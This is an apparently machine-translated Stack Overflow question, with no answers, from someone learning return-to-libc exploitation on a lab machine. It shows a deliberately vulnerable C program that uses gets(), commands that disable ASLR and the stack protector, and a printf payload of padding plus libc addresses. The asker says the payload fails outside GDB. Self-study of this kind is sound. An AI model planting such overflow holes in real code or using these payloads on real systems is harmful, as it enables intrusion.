(另一个)返回Libc攻击:不会发生段落错误或返回Libc恶意输入。但是在GDB中工作

时间:2012-09-09 15:13:45

标签: c security buffer-overflow libc

我想了解返回libc攻击是如何工作的,所以我编写了一个易受攻击的程序,以便我可以将函数的返回地址更改为system()的返回地址。但是,该程序似乎无法调用system()并完全退出。

先决条件

- 我正在使用Debain Squeeze

- 我已禁用地址随机化:

echo 0 > /proc/sys/kernel/randomize_va_space

弱势代码

#include <stdio.h>

void someFunc(void);

void someFunc(void){
    char buffer[64];

    gets(buffer);
    //puts(buffer);
}

int main(int argc, char **argv)
{
    someFunc();
    return 0;
}

代码编译为:

gcc -fno-stack-protector -ggdb -o vuln vuln.c

使用GDB我断言:

  1. /bin/zsh是@ 0xbffff9b9
  2. system()是@ 0xb7ed0000
  3. exit()是@ 0xb7ec60f0
  4. 利用漏洞

    我通过在72零,exit,system和指向/bin/zsh的指针中按顺序管道来利用它:

    printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln
    

    该程序不会发生段错误或执行/bin/zsh

    在GDB中

    有趣的是,如果我更改SHELL="/xin/zsh"并在gdb中执行它,则系统调用有效:

    Cannot exec /xin/zsh
    

    所以我的问题是:

    1. 我是否正确理解了返回libc攻击概念?

    2. 我是否以正确的方式和顺序管道恶意代码?

    3. 为什么它似乎在GDB中工作,而在shell中不起作用?
      (我已经阅读了return to libc works in gdb but not when running alone

0 个答案:

没有答案